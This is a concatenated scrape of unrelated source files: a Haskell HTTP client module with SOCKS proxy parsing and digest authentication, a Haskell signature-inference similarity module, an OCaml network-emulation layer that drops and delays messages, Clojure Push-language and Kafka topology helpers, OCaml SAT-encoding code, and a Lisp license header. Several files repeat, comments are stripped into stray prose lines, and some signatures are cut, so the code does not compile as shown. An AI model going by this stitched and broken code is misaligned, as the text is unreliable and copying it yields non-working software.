settings = mkManagerSettingsContext' defaultManagerSettings (Just globalConnectionContext) def msocksHTTP msocksHTTPS
settings' = maybe id (const $ managerSetInsecureProxy proxyFromRequest) msocksHTTP
$ maybe id (const $ managerSetSecureProxy proxyFromRequest) msocksHTTPS
settings
newManager settings'
| Load up a new TLS manager based upon specified settings ,
@since 0.3.5
newTlsManagerWith :: MonadIO m => ManagerSettings -> m Manager
newTlsManagerWith set = liftIO $ do
env <- getEnvironment
let lenv = Map.fromList $ map (first $ T.toLower . T.pack) env
msocksHTTP = parseSocksSettings env lenv "http_proxy"
msocksHTTPS = parseSocksSettings env lenv "https_proxy"
settings = mkManagerSettingsContext' set (Just globalConnectionContext) def msocksHTTP msocksHTTPS
settings' = maybe id (const $ managerSetInsecureProxy proxyFromRequest) msocksHTTP
$ maybe id (const $ managerSetSecureProxy proxyFromRequest) msocksHTTPS
settings
We want to keep the original TLS settings that were
field on ` ManagerSettings ` . So instead we grab the
fields that depend on the TLS settings .
{ managerTlsConnection = managerTlsConnection set
, managerTlsProxyConnection = managerTlsProxyConnection set
}
newManager settings'
-> Maybe NC.SockSettings
parseSocksSettings env lenv n = do
str <- lookup (T.unpack n) env <|> Map.lookup n lenv
let allowedScheme x = x == "socks5:" || x == "socks5h:"
uri <- U.parseURI str
guard $ allowedScheme $ U.uriScheme uri
guard $ null (U.uriPath uri) || U.uriPath uri == "/"
guard $ null $ U.uriQuery uri
guard $ null $ U.uriFragment uri
auth <- U.uriAuthority uri
port' <-
case U.uriPort auth of
':':rest ->
case decimal $ T.pack rest of
Right (p, "") -> Just p
_ -> Nothing
_ -> Nothing
Just $ NC.SockSettingsSimple (U.uriRegName auth) port'
globalManager :: IORef Manager
globalManager = unsafePerformIO $ newTlsManager >>= newIORef
# NOINLINE globalManager #
getGlobalManager :: IO Manager
getGlobalManager = readIORef globalManager
# INLINE getGlobalManager #
setGlobalManager :: Manager -> IO ()
setGlobalManager = writeIORef globalManager
data DigestAuthException
= DigestAuthException Request (Response ()) DigestAuthExceptionDetails
deriving (Show, Typeable)
instance Exception DigestAuthException where
#if MIN_VERSION_base(4, 8, 0)
displayException = displayDigestAuthException
#endif
displayDigestAuthException :: DigestAuthException -> String
displayDigestAuthException (DigestAuthException req res det) = concat
[ "Unable to submit digest credentials due to: "
, details
, ".\n\nRequest: "
, show req
, ".\n\nResponse: "
, show res
]
where
details =
case det of
UnexpectedStatusCode -> "received unexpected status code"
MissingWWWAuthenticateHeader ->
"missing WWW-Authenticate response header"
WWWAuthenticateIsNotDigest ->
"WWW-Authenticate response header does not indicate Digest"
MissingRealm ->
"WWW-Authenticate response header does include realm"
MissingNonce ->
"WWW-Authenticate response header does include nonce"
data DigestAuthExceptionDetails
= UnexpectedStatusCode
| MissingWWWAuthenticateHeader
| WWWAuthenticateIsNotDigest
| MissingRealm
| MissingNonce
deriving (Show, Read, Typeable, Eq, Ord)
to live in This also means that the request body will be sent
it will return @Nothing@.
@since 0.3.1
applyDigestAuth :: (MonadIO m, MonadThrow n)
-> Request
-> Manager
-> m (n Request)
applyDigestAuth user pass req0 man = liftIO $ do
res <- httpNoBody req man
let throw' = throwM . DigestAuthException req res
return $ do
unless (responseStatus res == status401)
$ throw' UnexpectedStatusCode
h1 <- maybe (throw' MissingWWWAuthenticateHeader) return
$ lookup "WWW-Authenticate" $ responseHeaders res
h2 <- maybe (throw' WWWAuthenticateIsNotDigest) return
$ stripCI "Digest " h1
let pieces = map (strip *** strip) (toPairs h2)
realm <- maybe (throw' MissingRealm) return
$ lookup "realm" pieces
nonce <- maybe (throw' MissingNonce) return
$ lookup "nonce" pieces
let qop = isJust $ lookup "qop" pieces
digest
| qop = md5 $ S.concat
[ ha1
, ":"
, nonce
, ":00000001:deadbeef:auth:"
, ha2
]
| otherwise = md5 $ S.concat [ha1, ":", nonce, ":", ha2]
where
ha1 = md5 $ S.concat [user, ":", realm, ":", pass]
we always use no qop or qop = auth
ha2 = md5 $ S.concat [method req, ":", path req]
md5 bs = convertToBase Base16 (hash bs :: Digest MD5)
key = "Authorization"
val = S.concat
[ "Digest username=\""
, user
, "\", realm=\""
, realm
, "\", nonce=\""
, nonce
, "\", uri=\""
, path req
, "\", response=\""
, digest
, "\""
FIXME algorithm ?
, case lookup "opaque" pieces of
Nothing -> ""
Just o -> S.concat [", opaque=\"", o, "\""]
, if qop
then ", qop=auth, nc=00000001, cnonce=\"deadbeef\""
else ""
]
return req
{ requestHeaders = (key, val)
: filter
(\(x, _) -> x /= key)
(requestHeaders req)
, cookieJar = Just $ responseCookieJar res
}
where
req = req0 { checkResponse = \_ _ -> return () }
stripCI x y
| CI.mk x == CI.mk (S.take len y) = Just $ S.drop len y
| otherwise = Nothing
where
len = S.length x
_comma = 44
_equal = 61
_dquot = 34
_space = 32
strip = fst . S.spanEnd (== _space) . S.dropWhile (== _space)
toPairs bs0
| S.null bs0 = []
| otherwise =
let bs1 = S.dropWhile (== _space) bs0
(key, bs2) = S.break (\w -> w == _equal || w == _comma) bs1
in case () of
()
| S.null bs2 -> [(key, "")]
| S.head bs2 == _equal ->
let (val, rest) = parseVal $ S.tail bs2
in (key, val) : toPairs rest
| otherwise ->
assert (S.head bs2 == _comma) $
(key, "") : toPairs (S.tail bs2)
parseVal bs0 = fromMaybe (parseUnquoted bs0) $ do
guard $ not $ S.null bs0
guard $ S.head bs0 == _dquot
let (x, y) = S.break (== _dquot) $ S.tail bs0
guard $ not $ S.null y
Just (x, S.drop 1 $ S.dropWhile (/= _comma) y)
parseUnquoted bs =
let (x, y) = S.break (== _comma) bs
in (x, S.drop 1 y)
|
a87e37e584e215b15c422cb896b619116ea782887cfc0aea5729f7ffeee17507 | NorfairKing/easyspec | SimilarityUtils.hs | # LANGUAGE CPP #
module EasySpec.Discover.SignatureInference.SimilarityUtils where
import Import
import Data.Map.Lazy (Map)
import qualified Data.Map.Lazy as M
import EasySpec.Discover.SignatureInference.Utils
import EasySpec.Discover.Types
-- Make a signature inference strategy, by describing how to get a 'fingerprint'
-- from an 'EasyId'.
similarityInferAlg ::
(Eq a, Ord a, Foldable f)
=> String
-> Int
-> (EasyId -> f a)
-> SignatureInferenceStrategy
similarityInferAlg name i distil = differenceInferAlg name i $ simDiff distil
-- Make a signature inference strategy, by describing the difference between two 'EasyId's.
differenceInferAlg ::
(Ord n, Show n, Num n)
=> String
-> Int
-> (EasyId -> EasyId -> n)
-> SignatureInferenceStrategy
differenceInferAlg name i diff = splitInferAlg name $ diffChoice i diff
diffChoice ::
(Ord n, Show n, Num n)
=> Int
-> (EasyId -> EasyId -> n)
-> [EasyId]
-> [EasyId]
-> [EasyId]
diffChoice i diff focus scope =
take i $ sortOn (\f -> sum $ map (diff f) focus) scope
simDiff ::
(Eq a, Ord a, Foldable f) => (EasyId -> f a) -> EasyId -> EasyId -> Int
simDiff distil e1 e2 = dictDiff (dictOf e1) (dictOf e2)
where
dictOf = letterDict . distil
letterDict :: (Eq a, Ord a, Foldable f) => f a -> Map a Int
letterDict = foldl' go M.empty
where
go hm k = M.alter u k hm
where
u Nothing = Just 1
u (Just n) = Just (n + 1)
dictDiff :: (Eq a, Ord a) => Map a Int -> Map a Int -> Int
dictDiff hm1 hm2 = M.foldl' (+) 0 $ M.unionWith go hm1 hm2
where
go :: Int -> Int -> Int
go n1 n2 = abs (n1 - n2)
| null | https://raw.githubusercontent.com/NorfairKing/easyspec/b038b45a375cc0bed2b00c255b508bc06419c986/easyspec/src/EasySpec/Discover/SignatureInference/SimilarityUtils.hs | haskell | Make a signature inference strategy, by describing how to get a 'fingerprint'
from an 'EasyId'.
Make a signature inference strategy, by describing the difference between two 'EasyId's. | # LANGUAGE CPP #
module EasySpec.Discover.SignatureInference.SimilarityUtils where
import Import
import Data.Map.Lazy (Map)
import qualified Data.Map.Lazy as M
import EasySpec.Discover.SignatureInference.Utils
import EasySpec.Discover.Types
similarityInferAlg ::
(Eq a, Ord a, Foldable f)
=> String
-> Int
-> (EasyId -> f a)
-> SignatureInferenceStrategy
similarityInferAlg name i distil = differenceInferAlg name i $ simDiff distil
differenceInferAlg ::
(Ord n, Show n, Num n)
=> String
-> Int
-> (EasyId -> EasyId -> n)
-> SignatureInferenceStrategy
differenceInferAlg name i diff = splitInferAlg name $ diffChoice i diff
diffChoice ::
(Ord n, Show n, Num n)
=> Int
-> (EasyId -> EasyId -> n)
-> [EasyId]
-> [EasyId]
-> [EasyId]
diffChoice i diff focus scope =
take i $ sortOn (\f -> sum $ map (diff f) focus) scope
simDiff ::
(Eq a, Ord a, Foldable f) => (EasyId -> f a) -> EasyId -> EasyId -> Int
simDiff distil e1 e2 = dictDiff (dictOf e1) (dictOf e2)
where
dictOf = letterDict . distil
letterDict :: (Eq a, Ord a, Foldable f) => f a -> Map a Int
letterDict = foldl' go M.empty
where
go hm k = M.alter u k hm
where
u Nothing = Just 1
u (Just n) = Just (n + 1)
dictDiff :: (Eq a, Ord a) => Map a Int -> Map a Int -> Int
dictDiff hm1 hm2 = M.foldl' (+) 0 $ M.unionWith go hm1 hm2
where
go :: Int -> Int -> Int
go n1 n2 = abs (n1 - n2)
|
1d5c88e0ce1f9ef88b4ad593af7fc4bd39b289ba3bf7ae10187139a63cc27570 | chetmurthy/ensemble | dbgbatch.ml | (**************************************************************)
(* DBGBATCH.ML : endpoint level emulation *)
Author : , 3/98
(**************************************************************)
open Trans
open Layer
open View
open Event
open Util
open Printf
(**************************************************************)
let name = Trace.filel "DBGBATCH"
(**************************************************************)
module Priq = Priq.Make ( Time.Ord )
(**************************************************************)
type header = Origin of string
type 'abv item =
| Up of Event.up * 'abv
| Upnm of Event.up
| Zero
type 'abv state = {
alarm : Alarm.t ;
buf : 'abv item Priq.t ;
my_name : string ;
fname : string ;
}
(**************************************************************)
let dump = ignore2
let init _ (ls,vs) =
let my_name = Param.string vs.params "dbgbatch_name" in
let fname = Param.string vs.params "dbgbatch_fname" in
if my_name = "" then (
eprintf "DBGBATCH: use of DBGBATCH protocol layer requires setting\n" ;
eprintf " the dbgbatch_name parameter. Exiting\n" ;
exit 2 ;
) ;
{ my_name = my_name ;
fname = fname ;
buf = Priq.create Zero ;
alarm = Alarm.get_hack ()
}
(**************************************************************)
let hdlrs s ((ls,vs) as vf) {up_out=up;upnm_out=upnm;dn_out=dn;dnlm_out=dnlm;dnnm_out=dnnm} =
let failwith = layer_fail dump vf s name in
let log = Trace.log2 name ls.name in
let check origin =
if Dtblbatch.cut origin then None
else (
let p = Random.float 1.0 in
let drop_rate = Dtblbatch.drop_rate origin in
if p < drop_rate then None
else Some (Dtblbatch.delay origin)
)
in
let up_hdlr ev abv hdr = match hdr with
| Origin(origin) -> begin
match check origin with
| None ->
free name ev ;
log (fun () -> sprintf "dropping msg from %s\n" origin)
| Some delay ->
let delay = Time.of_float delay in
if delay <= Time.zero then up ev abv
else (
let time = Alarm.gettime s.alarm in
let deliver = Time.add time delay in
Priq.add s.buf deliver (Up(ev,abv)) ;
dnnm (timerAlarm name deliver)
)
end
and uplm_hdlr ev _ = failwith unknown_local
and upnm_hdlr ev = match getType ev with
| EInit ->
Dtblbatch.init s.my_name s.fname ;
upnm ev
| ETimer ->
let time = getTime ev in
ignore (
Priq.get s.buf (fun _ e ->
match e with
| Up(ev,abv) -> up ev abv
| Upnm ev -> upnm ev
| _ -> failwith "priq sanity"
) time ;
) ;
upnm ev
| EExit ->
Priq.clear s.buf (fun _ it ->
match it with
| Up(ev,_) -> free name ev
| Upnm ev -> free name ev
| _ -> failwith "priq sanity"
) ;
upnm ev
| EGossipExt -> begin
let origin = getDbgName ev in
match check origin with
| None ->
free name ev ;
log (fun () -> sprintf "dropping Gossip msg from %s\n" origin)
| Some delay ->
let delay = Time.of_float delay in
if delay <= Time.zero then upnm ev
else (
let time = Alarm.gettime s.alarm in
let deliver = Time.add time delay in
Priq.add s.buf deliver (Upnm ev) ;
dnnm (timerAlarm name deliver)
)
end
| _ -> upnm ev
and dn_hdlr ev abv = dn ev abv (Origin s.my_name)
and dnnm_hdlr ev = match getType ev with
| EGossipExt ->
let ev = set name ev[(DbgName s.my_name)] in
dnnm ev
| _ -> dnnm ev
in {up_in=up_hdlr;uplm_in=uplm_hdlr;upnm_in=upnm_hdlr;dn_in=dn_hdlr;dnnm_in=dnnm_hdlr}
let l args vf = Layer.hdr init hdlrs None NoOpt args vf
let _ =
Param.default "dbgbatch_name" (Param.String "") ;
Param.default "dbgbatch_fname" (Param.String "data") ;
Layer.install name l
(**************************************************************)
| null | https://raw.githubusercontent.com/chetmurthy/ensemble/8266a89e68be24a4aaa5d594662e211eeaa6dc89/ensemble/server/layers/debug/dbgbatch.ml | ocaml | ************************************************************
DBGBATCH.ML : endpoint level emulation
************************************************************
************************************************************
************************************************************
************************************************************
************************************************************
************************************************************
************************************************************ | Author : , 3/98
open Trans
open Layer
open View
open Event
open Util
open Printf
let name = Trace.filel "DBGBATCH"
module Priq = Priq.Make ( Time.Ord )
type header = Origin of string
type 'abv item =
| Up of Event.up * 'abv
| Upnm of Event.up
| Zero
type 'abv state = {
alarm : Alarm.t ;
buf : 'abv item Priq.t ;
my_name : string ;
fname : string ;
}
let dump = ignore2
let init _ (ls,vs) =
let my_name = Param.string vs.params "dbgbatch_name" in
let fname = Param.string vs.params "dbgbatch_fname" in
if my_name = "" then (
eprintf "DBGBATCH: use of DBGBATCH protocol layer requires setting\n" ;
eprintf " the dbgbatch_name parameter. Exiting\n" ;
exit 2 ;
) ;
{ my_name = my_name ;
fname = fname ;
buf = Priq.create Zero ;
alarm = Alarm.get_hack ()
}
let hdlrs s ((ls,vs) as vf) {up_out=up;upnm_out=upnm;dn_out=dn;dnlm_out=dnlm;dnnm_out=dnnm} =
let failwith = layer_fail dump vf s name in
let log = Trace.log2 name ls.name in
let check origin =
if Dtblbatch.cut origin then None
else (
let p = Random.float 1.0 in
let drop_rate = Dtblbatch.drop_rate origin in
if p < drop_rate then None
else Some (Dtblbatch.delay origin)
)
in
let up_hdlr ev abv hdr = match hdr with
| Origin(origin) -> begin
match check origin with
| None ->
free name ev ;
log (fun () -> sprintf "dropping msg from %s\n" origin)
| Some delay ->
let delay = Time.of_float delay in
if delay <= Time.zero then up ev abv
else (
let time = Alarm.gettime s.alarm in
let deliver = Time.add time delay in
Priq.add s.buf deliver (Up(ev,abv)) ;
dnnm (timerAlarm name deliver)
)
end
and uplm_hdlr ev _ = failwith unknown_local
and upnm_hdlr ev = match getType ev with
| EInit ->
Dtblbatch.init s.my_name s.fname ;
upnm ev
| ETimer ->
let time = getTime ev in
ignore (
Priq.get s.buf (fun _ e ->
match e with
| Up(ev,abv) -> up ev abv
| Upnm ev -> upnm ev
| _ -> failwith "priq sanity"
) time ;
) ;
upnm ev
| EExit ->
Priq.clear s.buf (fun _ it ->
match it with
| Up(ev,_) -> free name ev
| Upnm ev -> free name ev
| _ -> failwith "priq sanity"
) ;
upnm ev
| EGossipExt -> begin
let origin = getDbgName ev in
match check origin with
| None ->
free name ev ;
log (fun () -> sprintf "dropping Gossip msg from %s\n" origin)
| Some delay ->
let delay = Time.of_float delay in
if delay <= Time.zero then upnm ev
else (
let time = Alarm.gettime s.alarm in
let deliver = Time.add time delay in
Priq.add s.buf deliver (Upnm ev) ;
dnnm (timerAlarm name deliver)
)
end
| _ -> upnm ev
and dn_hdlr ev abv = dn ev abv (Origin s.my_name)
and dnnm_hdlr ev = match getType ev with
| EGossipExt ->
let ev = set name ev[(DbgName s.my_name)] in
dnnm ev
| _ -> dnnm ev
in {up_in=up_hdlr;uplm_in=uplm_hdlr;upnm_in=upnm_hdlr;dn_in=dn_hdlr;dnnm_in=dnnm_hdlr}
let l args vf = Layer.hdr init hdlrs None NoOpt args vf
let _ =
Param.default "dbgbatch_name" (Param.String "") ;
Param.default "dbgbatch_fname" (Param.String "data") ;
Layer.install name l
|
11ea45b9e9ba5af7e878e23ec0e9d4d6daa61ec60feb62ca5c2f979238b5e957 | Vaguery/klapaucius | returnable.clj | (ns push.instructions.aspects.returnable
(:require [push.util.code-wrangling
:as util
:refer [list!]])
(:use [push.instructions.core
:only (build-instruction)]
[push.instructions.dsl]))
(defn return-instruction
"returns a new x-return instruction for a PushType or stackname"
[pushtype]
(let [typename (:name pushtype)
instruction-name (str (name typename) "-return")]
(eval (list
`build-instruction
instruction-name
(str "`:" instruction-name "` pops the top `" typename "` item and pushes it to the `:return` stack.")
`(consume-top-of ~typename :as :arg1)
`(push-onto :return :arg1)
))))
(defn return-pop-instruction
"returns a new x-return-pop instruction for a PushType or stackname"
[pushtype]
(let [typename (:name pushtype)
instruction-name (str (name typename) "-return-pop")
token (keyword (str (name typename) "-pop"))]
(eval (list
`build-instruction
instruction-name
(str "`:" instruction-name "` creates a new `" typename "-pop` token shoves it to the _bottom_ of the `:return` stack.")
`(consume-stack :return :as :old-stack)
`(calculate [:old-stack]
#(util/list! (concat %1 (list ~token))) :as :new-stack)
`(replace-stack :return :new-stack)
))))
| null | https://raw.githubusercontent.com/Vaguery/klapaucius/17b55eb76feaa520a85d4df93597cccffe6bdba4/src/push/instructions/aspects/returnable.clj | clojure | (ns push.instructions.aspects.returnable
(:require [push.util.code-wrangling
:as util
:refer [list!]])
(:use [push.instructions.core
:only (build-instruction)]
[push.instructions.dsl]))
(defn return-instruction
"returns a new x-return instruction for a PushType or stackname"
[pushtype]
(let [typename (:name pushtype)
instruction-name (str (name typename) "-return")]
(eval (list
`build-instruction
instruction-name
(str "`:" instruction-name "` pops the top `" typename "` item and pushes it to the `:return` stack.")
`(consume-top-of ~typename :as :arg1)
`(push-onto :return :arg1)
))))
(defn return-pop-instruction
"returns a new x-return-pop instruction for a PushType or stackname"
[pushtype]
(let [typename (:name pushtype)
instruction-name (str (name typename) "-return-pop")
token (keyword (str (name typename) "-pop"))]
(eval (list
`build-instruction
instruction-name
(str "`:" instruction-name "` creates a new `" typename "-pop` token shoves it to the _bottom_ of the `:return` stack.")
`(consume-stack :return :as :old-stack)
`(calculate [:old-stack]
#(util/list! (concat %1 (list ~token))) :as :new-stack)
`(replace-stack :return :new-stack)
))))
| |
c34049c09535bed4bb201db924a4d1d0651cc607e0fb81dd3bb8c82491c2cc5d | FundingCircle/topology-grapher | analytics.cljc | (ns topology-grapher.analytics)
(defn source? [s]
(= :source (:type s)))
(defn sink? [s]
(= :sink (:type s)))
(defn processor? [s]
(= :processor (:type s)))
(defn topic? [s]
(= :topic (:type s)))
(defn store? [s]
(= :store (:type s)))
(defn input-topic [edges n]
;; its a topic, and its at the start of the graph, i.e. there
;; is no edge going to it
(and (topic? n)
(not-any? #(= (:id n) (:to-id %)) edges)))
(defn output-topic [edges n]
;; its a topic, and its at the end of the graph, i.e. there
;; is no edge coming from it
(and (topic? n)
(not-any? #(= (:id n) (:from-id %)) edges)))
(defn external-topic [edges n]
(or (input-topic edges n)
(output-topic edges n)))
(defn prune-to-topology [g]
(let [graphs (:graphs g)
all-edges (set (mapcat :edges graphs))
in-t (filter #(input-topic all-edges %) (mapcat :nodes graphs))
out-t (filter #(output-topic all-edges %) (mapcat :nodes graphs))
topology-node {:type :topology
:name (:topology g)
:id (:id g)}]
(assoc g :graphs [{:type :stream
:name (:topology g)
:id (:id g)
:nodes (concat in-t out-t [topology-node])
:edges (concat (map (fn [n]
{:from (:name n)
:to (:name topology-node)
:from-id (:id n)
:to-id (:id topology-node)}) in-t)
(map (fn [n]
{:from (:name topology-node)
:to (:name n)
:from-id (:id topology-node)
:to-id (:id n)}) out-t))}])))
| null | https://raw.githubusercontent.com/FundingCircle/topology-grapher/c1e3518ef90f95097b3310d3d5cbd48750498e81/src/topology_grapher/analytics.cljc | clojure | its a topic, and its at the start of the graph, i.e. there
is no edge going to it
its a topic, and its at the end of the graph, i.e. there
is no edge coming from it | (ns topology-grapher.analytics)
(defn source? [s]
(= :source (:type s)))
(defn sink? [s]
(= :sink (:type s)))
(defn processor? [s]
(= :processor (:type s)))
(defn topic? [s]
(= :topic (:type s)))
(defn store? [s]
(= :store (:type s)))
(defn input-topic [edges n]
(and (topic? n)
(not-any? #(= (:id n) (:to-id %)) edges)))
(defn output-topic [edges n]
(and (topic? n)
(not-any? #(= (:id n) (:from-id %)) edges)))
(defn external-topic [edges n]
(or (input-topic edges n)
(output-topic edges n)))
(defn prune-to-topology [g]
(let [graphs (:graphs g)
all-edges (set (mapcat :edges graphs))
in-t (filter #(input-topic all-edges %) (mapcat :nodes graphs))
out-t (filter #(output-topic all-edges %) (mapcat :nodes graphs))
topology-node {:type :topology
:name (:topology g)
:id (:id g)}]
(assoc g :graphs [{:type :stream
:name (:topology g)
:id (:id g)
:nodes (concat in-t out-t [topology-node])
:edges (concat (map (fn [n]
{:from (:name n)
:to (:name topology-node)
:from-id (:id n)
:to-id (:id topology-node)}) in-t)
(map (fn [n]
{:from (:name topology-node)
:to (:name n)
:from-id (:id topology-node)
:to-id (:id n)}) out-t))}])))
|
7136197a5fba525314ddff8f6dfb98d362a4eaf817cec79b667efc3a5edb458b | rowangithub/DOrder | oracle.ml | * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
*
* Author :
* Copyright reserved
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
*
* Author: Bow-Yaw Wang
* Copyright reserved
*****************************************************************************)
open Minisat
type result_t = bool array option
let make_conj solver vars outb =
match vars with
| [| |] -> add_clause solver [| pos_lit solver outb |]
| [| var |] ->
(add_clause solver [| pos_lit solver outb; neg_lit solver var |];
add_clause solver [| pos_lit solver var; neg_lit solver outb |])
| _ ->
let pos_outb = pos_lit solver outb in
let neg_outb = neg_lit solver outb in
let neg_vars = Array.map (neg_lit solver) vars in
(add_clause solver (Array.append [| pos_outb |] neg_vars);
Array.iter
(fun var -> add_clause solver [| neg_outb; pos_lit solver var |])
vars)
let make_disj solver vars outb =
match vars with
| [| |] -> add_clause solver [| neg_lit solver outb |]
| [| var |] ->
(add_clause solver [| pos_lit solver outb; neg_lit solver var |];
add_clause solver [| pos_lit solver var; neg_lit solver outb |])
| _ ->
let pos_outb = pos_lit solver outb in
let neg_outb = neg_lit solver outb in
let pos_vars = Array.map (pos_lit solver) vars in
(add_clause solver (Array.append [| neg_outb |] pos_vars);
Array.iter
(fun var -> add_clause solver [| pos_outb; neg_lit solver var |])
vars)
let make_neg solver var outb =
(add_clause solver [| pos_lit solver var; pos_lit solver outb |];
add_clause solver [| neg_lit solver var; neg_lit solver outb |])
let make_iff solver var outb =
(add_clause solver [| pos_lit solver var; neg_lit solver outb |];
add_clause solver [| pos_lit solver outb; neg_lit solver var |])
let make_lit solver var pos outb =
if pos then make_iff solver var outb
else make_neg solver var outb
let array_iter2 f ary0 ary1 =
let _ = assert (Array.length ary0 = Array.length ary1) in
let len = Array.length ary0 in
let rec helper i =
if i = len then ()
else (f ary0.(i) ary1.(i); helper (succ i))
in
helper 0
let to_eq_sat solver vars f =
let rec helper f outb =
match f with
| BoolFormula.Lit l ->
let mvar = vars.(BoolFormula.of_var l) in
make_lit solver mvar (BoolFormula.is_positive l) outb
| BoolFormula.Not g ->
let outb' = new_inferred_var solver in
(helper g outb'; make_neg solver outb' outb)
| BoolFormula.And fs ->
let outbs' = Array.map (fun _ -> new_inferred_var solver) fs in
(make_conj solver outbs' outb; array_iter2 helper fs outbs')
| BoolFormula.Or fs ->
let outbs' = Array.map (fun _ -> new_inferred_var solver) fs in
(make_disj solver outbs' outb; array_iter2 helper fs outbs')
in
let outb = new_inferred_var solver in
let _ = helper f outb in
outb
let create_dvars solver nvars =
let helper i = Minisat.new_var solver in
Array.init (succ nvars) helper
let get_assignment solver vars =
let helper i = Minisat.get_witness solver vars.(i) in
let result = Array.init (Array.length vars) helper in
let _ = result.(0) <- false in
result
let assignment_to_lits solver vars assignment =
let helper i b =
if b then pos_lit solver vars.(i) else neg_lit solver vars.(i) in
Array.mapi helper assignment
let is_satisfiable_with_assumption nvars f assignment =
let solver = Minisat.new_solver () in
let vars = create_dvars solver nvars in
let outf = to_eq_sat solver vars f in
let _ = add_clause solver [| pos_lit solver outf |] in
let lits = assignment_to_lits solver vars assignment in
if solve_with_assumption solver lits then
Some (get_assignment solver vars)
else
None
let is_equivalent nvars f g =
let solver = Minisat.new_solver () in
let vars = create_dvars solver nvars in
let outf = to_eq_sat solver vars f in
let outg = to_eq_sat solver vars g in
let _ = add_clause solver [| pos_lit solver outf; pos_lit solver outg |] in
let _ = add_clause solver [| neg_lit solver outf; neg_lit solver outg |] in
if solve solver then
Some (get_assignment solver vars)
else
None
let is_statisfiable nvars f =
let solver = Minisat.new_solver () in
let vars = create_dvars solver nvars in
let outf = to_eq_sat solver vars f in
let _ = add_clause solver [| pos_lit solver outf |] in
if solve solver then
Some (get_assignment solver vars)
else
None
| null | https://raw.githubusercontent.com/rowangithub/DOrder/e0d5efeb8853d2a51cc4796d7db0f8be3185d7df/learning/cdnf/oracle.ml | ocaml | * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
*
* Author :
* Copyright reserved
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
*
* Author: Bow-Yaw Wang
* Copyright reserved
*****************************************************************************)
open Minisat
type result_t = bool array option
let make_conj solver vars outb =
match vars with
| [| |] -> add_clause solver [| pos_lit solver outb |]
| [| var |] ->
(add_clause solver [| pos_lit solver outb; neg_lit solver var |];
add_clause solver [| pos_lit solver var; neg_lit solver outb |])
| _ ->
let pos_outb = pos_lit solver outb in
let neg_outb = neg_lit solver outb in
let neg_vars = Array.map (neg_lit solver) vars in
(add_clause solver (Array.append [| pos_outb |] neg_vars);
Array.iter
(fun var -> add_clause solver [| neg_outb; pos_lit solver var |])
vars)
let make_disj solver vars outb =
match vars with
| [| |] -> add_clause solver [| neg_lit solver outb |]
| [| var |] ->
(add_clause solver [| pos_lit solver outb; neg_lit solver var |];
add_clause solver [| pos_lit solver var; neg_lit solver outb |])
| _ ->
let pos_outb = pos_lit solver outb in
let neg_outb = neg_lit solver outb in
let pos_vars = Array.map (pos_lit solver) vars in
(add_clause solver (Array.append [| neg_outb |] pos_vars);
Array.iter
(fun var -> add_clause solver [| pos_outb; neg_lit solver var |])
vars)
let make_neg solver var outb =
(add_clause solver [| pos_lit solver var; pos_lit solver outb |];
add_clause solver [| neg_lit solver var; neg_lit solver outb |])
let make_iff solver var outb =
(add_clause solver [| pos_lit solver var; neg_lit solver outb |];
add_clause solver [| pos_lit solver outb; neg_lit solver var |])
let make_lit solver var pos outb =
if pos then make_iff solver var outb
else make_neg solver var outb
let array_iter2 f ary0 ary1 =
let _ = assert (Array.length ary0 = Array.length ary1) in
let len = Array.length ary0 in
let rec helper i =
if i = len then ()
else (f ary0.(i) ary1.(i); helper (succ i))
in
helper 0
let to_eq_sat solver vars f =
let rec helper f outb =
match f with
| BoolFormula.Lit l ->
let mvar = vars.(BoolFormula.of_var l) in
make_lit solver mvar (BoolFormula.is_positive l) outb
| BoolFormula.Not g ->
let outb' = new_inferred_var solver in
(helper g outb'; make_neg solver outb' outb)
| BoolFormula.And fs ->
let outbs' = Array.map (fun _ -> new_inferred_var solver) fs in
(make_conj solver outbs' outb; array_iter2 helper fs outbs')
| BoolFormula.Or fs ->
let outbs' = Array.map (fun _ -> new_inferred_var solver) fs in
(make_disj solver outbs' outb; array_iter2 helper fs outbs')
in
let outb = new_inferred_var solver in
let _ = helper f outb in
outb
let create_dvars solver nvars =
let helper i = Minisat.new_var solver in
Array.init (succ nvars) helper
let get_assignment solver vars =
let helper i = Minisat.get_witness solver vars.(i) in
let result = Array.init (Array.length vars) helper in
let _ = result.(0) <- false in
result
let assignment_to_lits solver vars assignment =
let helper i b =
if b then pos_lit solver vars.(i) else neg_lit solver vars.(i) in
Array.mapi helper assignment
let is_satisfiable_with_assumption nvars f assignment =
let solver = Minisat.new_solver () in
let vars = create_dvars solver nvars in
let outf = to_eq_sat solver vars f in
let _ = add_clause solver [| pos_lit solver outf |] in
let lits = assignment_to_lits solver vars assignment in
if solve_with_assumption solver lits then
Some (get_assignment solver vars)
else
None
let is_equivalent nvars f g =
let solver = Minisat.new_solver () in
let vars = create_dvars solver nvars in
let outf = to_eq_sat solver vars f in
let outg = to_eq_sat solver vars g in
let _ = add_clause solver [| pos_lit solver outf; pos_lit solver outg |] in
let _ = add_clause solver [| neg_lit solver outf; neg_lit solver outg |] in
if solve solver then
Some (get_assignment solver vars)
else
None
let is_statisfiable nvars f =
let solver = Minisat.new_solver () in
let vars = create_dvars solver nvars in
let outf = to_eq_sat solver vars f in
let _ = add_clause solver [| pos_lit solver outf |] in
if solve solver then
Some (get_assignment solver vars)
else
None
| |
35b649117ef952b1ae89fe8a993254459d678b73b1b7f48223730b38743de3e0 | cram2/cram | exponential-functions.lisp | ;; Exponential functions
, Tue Mar 21 2006 - 17:05
Time - stamp : < 2011 - 11 - 24 22:56:28EST exponential-functions.lisp >
;;
Copyright 2006 , 2007 , 2008 , 2009 , 2011
Distributed under the terms of the GNU General Public License
;;
;; This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation , either version 3 of the License , or
;; (at your option) any later version.
;;
;; This program is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;; GNU General Public License for more details.
;;
You should have received a copy of the GNU General Public License
;; along with this program. If not, see </>.
